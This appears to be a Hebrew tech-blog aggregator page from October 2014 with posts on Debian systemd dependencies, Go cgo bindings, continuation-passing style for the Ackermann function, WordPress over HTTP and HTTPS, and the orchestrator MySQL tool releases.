(**) המטען שלי לרכב הוא לא מקורי… הוא די ליפה… אז ייתכן והוא דפוק. ייתכן גם השמש היוקדת על מכשיר שחור גורמת לו להתחמם. מצד שני – אלו בעיות של המכשיר בכל זאת. בנהיגות בלילה, גם וויז וגם המפות של גוגל לוקחות יותר חשמל מאשר המטען מספק – ולכן רמת הטעינה יורדת לאט במהלך הנסיעה, בגלקסי1 שלי בהתחלה זה אשכרה היה מטעין את המכשיר…(***).

(***) וויז היה שונה אז… ייתכן והתוכנה החדשה עושה המון חישובים מקומיים שגורמת למכשיר לעבור קשה ולגמור את הסוללה, ההשוואה היא לא מתאימה.

הטקסט המלא

18 אוקטובר, 2014 06:08 PM

Gabor Szabo

Stats of 7 Perl-related web sites

Once in a while I share some stats of some of the Perl-related web sites. For example at the beginning of 2014 I wrote about the popularity of Perl bases on some numbers from 2013. This time I just share the numbers as appear in Google Analytics for a number of sites where I have access to this data.

For the full article visit Stats of 7 Perl-related web sites

18 אוקטובר, 2014 11:05 AM

17 אוקטובר, 2014

Boris Shtrasman

systemd הולך לעוף ?

בסלאדשוט דיווחו שבדביאן בוחנים בוחנים מחדש את systemd.

הופתעתי לטובה שבדביאן systemd עדיין לא הדביק יותר מדי חבילות לא קשורות (החבילות שפה יחסית קשורות למערכת).


apt-cache rdepends systemd | grep -vvv systemd
Reverse Depends:
tuxonice-userui:i386
udev:i386
tuxonice-userui
udev
solaar
sogo
pcscd
|mate-power-manager
lighttpd
libvirt-daemon-system
|libguestfs0
init-system-helpers
gummiboot

17 אוקטובר, 2014 09:55 PM

16 אוקטובר, 2014

ik

go_libhdate

בשנים האחרונות, אני מוצא את עצמי נאלץ לתמוך בפרויקט ישן מאוד שלי, שיש בו חישובים של תאריכים עבריים אשר משתמש ב libhdate.

לאחר הרבה חשיבה בנושא, החלטתי לשכתב חלק מהקוד בGo, ולשם כך הייתי צריך ללמוד משהו שדחיתי הרבה זמן בשפה – איך לבצע binding.

בGo יש משהו שנקרא cgo – אפשרות לגרום לקוד שלך לדבר עם C.
הוא בעצם מספק סוג של preprocessor אשר לוקח את קוד ה Go, ומתרגם אותו לשפת C בצורה כזו שיש תאימות בין הקוד לבין שפת C.

אם תריצו ידנית את הפקודה

go tool cgo

על חבילה המדברת (כלומר עושה binding) עם C, תראו שתקבלו בעצם ספרייה בשם ‎_obj ושם כל ה"קסם" גלוי לעיניים:

$ tree _obj
_obj
├── _cgo_defun.c
├── _cgo_export.c
├── _cgo_export.h
├── _cgo_flags
├── _cgo_gotypes.go
├── _cgo_main.c
├── _cgo_.o
├── funcs.cgo1.go
└── funcs.cgo2.c

לקח לי המון זמן להבין כיצד לבצע binding, היות והתעוד לדעתי אינו מספיק טוב.
Go מגיע עם הדגמות, וההדגמה שהתחילה לסייע לי להבין יותר איך בכלל לבצע את הbinding היא של /usr/share/go/misc/cgo/gmp/ אשר מספקת הסבר כיצד בעצם לבצע binding עבור ספריית gmp, והיא טובה הרבה יותר מהתעוד של cgo.

בנוסף, אחד הדברים שאני מאוד אוהב בgo, ושלרוב גם מסייע לתכנת כמו שצריך זה go fmt. הוא מנסה לקמפל את הקוד ואז לסדר דברים לפי איך שהשפה "אוהבת" שדברים יהיו. משהו בסגנון tidy, רק עבור Go.

העניין הוא שאם זה מתקמפל, זה אומר שהקוד שלי תקין מבחינת linking לספריה, אבל אם זה מתקמפל, זה לא אומר שאין בעיות.

הקימפול מאוד עזר לי לפתור דברים, אבל לא סייע לי בניהול זיכרון.

Go משתמש ב GC, אבל אנחנו לא רוצים שהוא יגע בזיכרון של C, או במשתנים של Go שעוברים לC.
כלומר אנחנו לא רוצים שהGC "יהרוג" את הזיכרון לפני הזמן. וזה משהו שאני לא בטוח שהצלחתי לפתור עדיין במה שעשיתי, ולכן אינני יכול להגיד שהספריה יציבה.
כמו כן, אני מנסה לחשוב על דרכים לבדוק אותה עם goroutines ולראות אם היא מסוגלת לתפקד ככה כמו שצריך, ואם לא, אז לפחות לדעת להזהיר בנושא. כי גם שם יש ניהול זיכרון בנושא.

למעשה אני עדיין לא סגור בכלל שהמימוש שלי תקין, ולכן עדיין לא סימנתי אותו כיציב.
כשהוא יהיה יציב, git יכיל trunk בשמות של:

stable/1.0

אשר יצביעו תמיד על משהו שיציב, טוב ועובד בעיני.

אז אחרי הרבה חפירות כאן, אם אתם מעוניינים לראות את מה שעשיתי, תוכלו למצוא בגיטהאב או במראה בBitBucket.

כמו כן, תמיד אשמח לדיווחי באגים בנושא, בשביל שהקוד יהיה טוב יותר, וכמובן patch תמיד מתקבלים בברכה :)


תויק תחת:go, טכנולוגיה, פיתוח, קוד פתוח, תוכנה, תכנות

16 אוקטובר, 2014 03:46 PM

15 אוקטובר, 2014

Shlomi Israeli

קונספטים של קוד אלגנטי [חלק 3]

תכנותכתבתי בעבר מספר ביקורות אודות האקדמיה, אז לא ארחיב את זה יותר מדי כעת. אבל אודה ואומר שחוויתי מאז סדרת המאמרים הזו חוויה מעניינת, שמחזקת מעט את מה שאני מרגיש כלפי האקדמיה. כל סדרת המאמרים הזו נוגעת בעיקר בשני קורסים שמאוד לא אהבתי בזמן הלימודים (כן, אחד מהם הוא הקורס שכתבתי על המתכון להריסתו), לא אהבתי את הקורסים כי הם נראו מיותרים, לא מובנים והכי חשוב הועברו בצורה חובבנית.

אתמול ישבתי לי, והחלטתי שאני לומד נושא מסויים, שתמיד התקשיתי בו: Continuation Passing Style. זוהי טכניקת תכנות, המנצלת את האופטימיזציה מהמאמר הקודם. באמצעותה היא עוקפת את מנגנון המחסנית המובנה, ומאפשרת כתיבת קוד איטרטיבי, עבור פונקציות שקשה יותר או בלתי אפשרי לכתוב אותם עם לולאות (חשוב לציין שלולאה ומחסנית שקולה לרקורסיה).

תוך פחות מעשר דקות הבנתי את הקונספט, וכבר כתבתי מספר פונקציות בסגנון הזה בקלות. זה מאוד מפתיע כי לא נגעתי בסגנון התכנות הזה יותר משנה, ומעולם בעצם לא הבנתי אותו. האם נהיתי פשוט יותר חכם? אולי זה בגלל הניסיון שאני צובר בעבודה? אולי כן, ואולי פשוט הדרך האקדמית לא נכונה. אבל זה חורג מנושא המאמר :) אז בחזרה ל-CPS.

הרעיונות המרכזיים בשיטה זו אומרים, שאף פעם לא מבצעים החזרה של ערך מהפונקציה, וכל קריאה רקורסיבית חייבת להיות הפעולה האחרונה של הפונקציה. יש איזושהי הוכחה שאומרת שכל קוד רקורסיבי ניתן להמרה לקוד CPS. מה שמייעל באופן משמעותי כל קוד רקורסיבי.

נתבונן בפונקציית אקרמן, שאומרת:
Ack(m,n) = \begin{cases} n+1, & \mbox{if } m=0 \\ Ack(m, n-1), & \mbox{if } m=0 \mbox{ and } n>0 \\ Ack(m-1, Ack(m, n-1)), & \mbox{o/w} \end{cases}

להפוך משהו כזה ללולאה ללא שימוש במחסנית, זה לא רק לא פשוט, אלא בלתי אפשרי. העניין המרכזי שבעייתי עם הפונקציה הזו הוא שמהר מאוד מקבלים מספרים מאוד גדולים, אבל לא רק זאת, אלא שעומק הרקורסיה הוא מאוד גדול, וברוב המקרים לא נצליח לחשב משהו מעבר ל Ack(4,1) , וגם את זה בקושי. נכתוב פונקציה נאיבית לכך:

function ack1 (m,n) {
  if (m===0){
    return n + 1;
  } else if (m >0 && n === 0) {
    return ack1(m-1, 1);
  } else {
    return ack1(m-1, ack(m, n-1));
  }
}

לכל הדעות, פונקציה מאוד פשוטה, שעונה בדיוק על ההגדרה. אבל אם תנסו להריץ אותה על משהו מעבר ל Ack1(4,1) יגמר לכם המקום במחסנית ברוב התכניות. אז האם זה באמת לא אפשרי למימוש אחר? כאן מגיע לעזרתנו סגנון התכנות הזה, שבשילוב עם האופטימיזציה הזו, מסוגל לאפשר לנו לחשב כל ערך (בהינתן מספיק זמן, כי זו פונקציה ממש ממש מסובכת לחישוב).

הרעיון המרכזי אומר, נספק פונקציה נוספת לרשימת הפרמטרים, כל פעם שנרצה להחזיר ערך מיידי, במקום להחזיר אותו, נקרא לפונקציה עם אותו ערך והיא תעשה איתו כבר את מה שצריך (ממש כמו callback סטנדרטי ב-Javascript). כאשר נרצה לבצע קריאה רקורסיבית נבצע אותה בסוף הפונקציה, ונדאג לתת או ליצור callback מתאים עבור אותה קריאה. בגלל השימוש של אותה פונקציה, נקרא לה ret מלשון return.

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    // wtf
  }
}

אני תמיד הייתי נתקע בשלב שכתבתי בו wtf. כדי להבין בדיוק מה צריך לעשות, נפרק את השורה המקורית למספר פעולות:

var resultOfM_N_1 = ack1(m, n-1);
return ack1(m-1, resultOfM_N_1);

הבעיה היא שיש פה שתי קריאות רקורסיביות, ולא ברור איך לגרום לכך שתהיה רק קריאה אחת שתמיד תהיה בסוף החישוב של הפונקציה. כנראה ש-Javascript גרמה לי לחשוב בצורת callback ולכן זה הפך להיות מיידי עבורי כיום. קודם כל נחשב את הפונקציה הראשונה (לצורך העניין נדמיין שזה מבוצע על מחשב אחר, ואנחנו נקבל בחזרה את התשובה דרך ajax או משהו בסגנון, ולכן צריך לספק לו פונקציה):

ack$(m, n-1, function(resultOfM_N_1) {
  // do something with resultOfM_N_1 
});

שימו לב לשם של הפרמטר, הוא יכיל את התוצאה שהתקבלה מביצוע הפונקציה, בדיוק כמו בקוד הקודם (ולכן השם זהה). כעת אנחנו בפונקציית ה-callback שלנו, וכל מה שנשאר לעשות זה להשתמש בתוצאת הביניים ולבצע קריאה רקורסיבית נוספת, שגם היא תהיה הדבר האחרון שאנחנו עושים בתוך פונקציה. ולכן הפונקציה הסופית תראה משהו כזה:

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    ack$(m, n-1, function(resultOfM_N_1) {
      ack$(m-1, resultOfM_N_1, ret); 
    });
  }
}

כדי להריץ בפעם הראשונה את הפונקציה נבצע:

ack$(4, 1, function(result) { 
  console.log('result is ' + result);
});

הרצה של הפונקציה הזו היא אפשרית כעת, ובדיקה אצלי (עם האק קטן שמדמה את האופטימיזציה) הניבה:

time nodejs test.js
result is 65533

real	15m23.306s
user	15m8.406s
sys	0m22.508s

לקחו רק 15 דקות לחשב את הערך, אבל בסופו של דבר הוא חושב, דבר שלא היה אפשרי ללא כמות גדולה מאוד של זכרון בשיטה נאיבית יותר כמו לולאה+מחסנית או רקורסיה. העניין העיקרי שצריך להדגיש כאן הוא שמבחינת זכרון, אנחנו מדברים על סדר גודל של O(1). הסוד הוא שאנחנו מסדרים את המידע בצורה כזו, שבכל שלב אנחנו לא צריכים יותר לזכור שום דבר מקריאות אחרות, ולכן לעולם לא נצטרך למלא את המחסנית יותר ממספר קבוע של שדות.

בגלל שזה כן נושא די מסובך, ננסה לדמיין את הפונקציה ack$ כקופסה שחורה, או אפילו יותר קל, כפונקציה ששולחת בקשה לאיזשהו שרת מרוחק ומקבלת ממנו תשובה. כמו בבקשת ajax א-סינכרונית, הפונקציה תסתיים מיד וברגע שהדפדפן יקבל תשובה בחזרה, הוא יפעיל את פונקציית ה-callback שסיפקנו עם התשובה כפרמטר. ועכשיו אנחנו יכולים לעשות עם הערך הזה מה שבא לנו. במקרה שלנו, אנחנו צריכים לבצע שוב בקשה דומה (עוד קריאה רקורסיבית), רק שהפעם אנחנו נדפיס את הערך המוחזר במקום לבצע עליו חישוב נוסף.

למידע נוסף, ממליץ לקרוא גם את המאמר: By example: Continuation-passing style in JavaScript

15 אוקטובר, 2014 11:58 AM

14 אוקטובר, 2014

Rabin Yasharzadeh

Make a WordPress site work on both HTTP & HTTPS

Now that Google started including sites which server under HTTPS in their ranking, and CloudFlare came out with their Universal SSL service, I was thinking to add a native SSL support to my WP blog.

But it seems like WP dose not support working in HTTP&HTTPS at the same time. At first I created a new VirtualHost(Apache)/server(Nginx) config for my blog too work with SSL, but when I tried to access it with https the browser block the loading of the site and complain about mix content.

And so after some googling, I came out with this hack I wrote to have my WordPress blog to be accessible via HTTP & HTTPS.

Add HTTPS & HTTP links to the wp-config.php file

Add the follwing line to the wp-config.php file, it basically hard-codeing the site name based on the connection type.

function isSecure() {
  return
    (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
    || $_SERVER['SERVER_PORT'] == 443;
}

$web_site_url = 'blog.rabin.io';

if (isSecure())
{
        define('WP_HOME',   'https://' . $web_site_url);
        define('WP_SITEURL','https://' . $web_site_url);
}
else
{
        define('WP_HOME',   'http://' . $web_site_url);
        define('WP_SITEURL','http://' . $web_site_url);
}

 Force SSL (optional)

If you like you can force SSL for the Admin page or just for login.

define( 'FORCE_SSL_LOGIN', true );
define( 'FORCE_SSL_ADMIN', true );

Problems

While enabling SSL on my blog, I start having problems with WP plugin called W3 Total Cache, so for now i had to disable it until I have the time to check out what exactly is the problem.

Resources

  • https://wordpress.org/support/topic/get-wordpress-running-on-both-https-http
  • https://make.wordpress.org/support/user-manual/web-publishing/https-for-wordpress/
  • https://managewp.com/wordpress-ssl-settings-and-how-to-resolve-mixed-content-warnings

14 אוקטובר, 2014 12:23 PM

13 אוקטובר, 2014

Shlomi Noach

orchestrator 1.1.18: new features, support for orchestrator-agent

Outbrain's orchestrator 1.1.18 is released:

Quick links:

orchestrator now allows for seeding/provisioning of servers via orchestrator-agent. It communicates with agents executing on the MySQL hosts and coordinate transfer of data between them. orchestrator now supports invocation and auditing of seeding operations, and protects you from breaking your seeds. The orchestrator-agent is a solution to Outbrain's specific use case, and may not appeal to the greater crowd. Nonetheless it is extendible and is released as open source.

A nice overview of all topologies is provided in the clusters > dashboard page. The dashboard points out the clusters, amount of servers per cluster, and amount and type of problems per cluster. It also provides configurable aliasing to your clusters, so you may name your mysql01.myservice.mydomain.com:3306 as "customer db".

orchestrator will list each instance's long running queries in its own backend database, and will present the user with such data. It also provides with a "kill query" functionality (do note that polling for long running queries is done once per minute only).

SSL is supported in agents communication.

orchestrator now accepts proxy authentication (configurable). This lets you put, for example, apache2 as reverse proxy, which communicates with LDAP and authenticates access. The authenticated user is then relayed to orchestrator. With this method of authentication you are now able to pre-define "power users". In this authentication mode orchestrator will limit user actions to read-only, unless the user is a power-user. Thus, viewing the topologies is open to everyone, but moving slaves around is limited to a smaller group of people. Read more.

You may now move up a slave if it's master is in stopped-slave state, which allows extracting good, healthy slaves from underneath busy, slow relay-slaves.

orchestrator is released by Outbrain under the Apache 2.0 license, and is free to use.

 

13 אוקטובר, 2014 01:00 PM

Announcing orchestrator-agent

orchestrator-agent is a side-kick, complementary project of orchestrator, implementing a daemon service on one's MySQL hosts which communicates with and accepts commands from orchestrator, built with the original purpose of providing an automated solution for provisioning new or corrupted slaves.

It was built by Outbrain, with Outbrain's specific use case in mind. While we release it as open source, only a small part of its functionality will appeal to the public (this is why it's not strictly part of the orchestrator project, which is a general purpose, wide-audience solution). Nevertheless, it is a simple implementation of a daemon, such that can be easily extended by the community. The project is open for pull-requests!

A quick breakdown of orchestrator-agent is as follows:

Offline, hard-copy backups aside, Outbrain implements quick backups via LVM snapshots. Some slaves (depending on strength, datacenter etc.) take the role of snapshot servers. These slaves take an LVM snapshot once per day, and keep it open unmounted. At any given time we might have multiple open snapshots on a snapshot server. At a few minutes notice, we are able to restore MySQL to yesterday's, the day before, two days before, ... state. This only takes mounting of the desired snapshot and starting MySQL over the mounted volume.

We've in fact put this method to practice in at least one major occasion last year, that proved it to be of significant worth: we were able to fix a compromise to some dataset within minutes of action.

But we also use these snapshots on a daily basis, putting them constantly to practice (hence validating this backup method routinely): we provision new MySQL servers based on those snapshots. A new or corrupted server can be seeded with a snapshot data (preferably from a host in same datacenter). We don't need to perform a backup now. We can take the one from tonight.

There is some fuss around this: need to verify MySQL not running on target host, clean up the target host, choose the best source host, choose the best snapshot on source host, mount it, deliver the data, accept the data, do post-copy cleanup, start the MySQL service on target host, ... Or we might choose to actually do take a fresh, immediate snapshot from a server not configured as snapshot server... We used to do all these by shell scripts, but realized this will not sustain us.

Orchestrator-agent was invented with this particular use case in mind, and orchestrator was extended to support these operations. Orchestrator can act as the controller of a seed/provisioning operation, getting info from/to orchestrator-agent and coordinating two agents to send/receive the data.

The agent still relies on some external commands (via bash) to implement some functionality; to some extent, we have broken down complex shell scripts then wrapped again, now controlled and audited by the agent; but this will slowly change as we move more code into orchestrator-agent itself.

Should you use orchestrator-agent?

If, like us, you use LVM snapshots, at least as a partial form of backup - bingo!

Otherwise, orchestrator-agent can assist in stopping/starting the MySQL service, tailing the error log; simple stuff like that -- probably too much fuss for such basic operations.

But it can be easily extended to support other forms of backup (though do note that orchestrator-agent does not and should not perform scheduled backups, merely manipulate them); so if you like to contribute code into orchestrator-agent, please let us know! It would be nice to have a solution that works for multiple use cases.

Get it

orchestrator-agent is released under the Apache 2.0 license, and is free to use.

Pre-compiled, RPM and deb packages can be found on the releases page.

 

13 אוקטובר, 2014 12:59 PM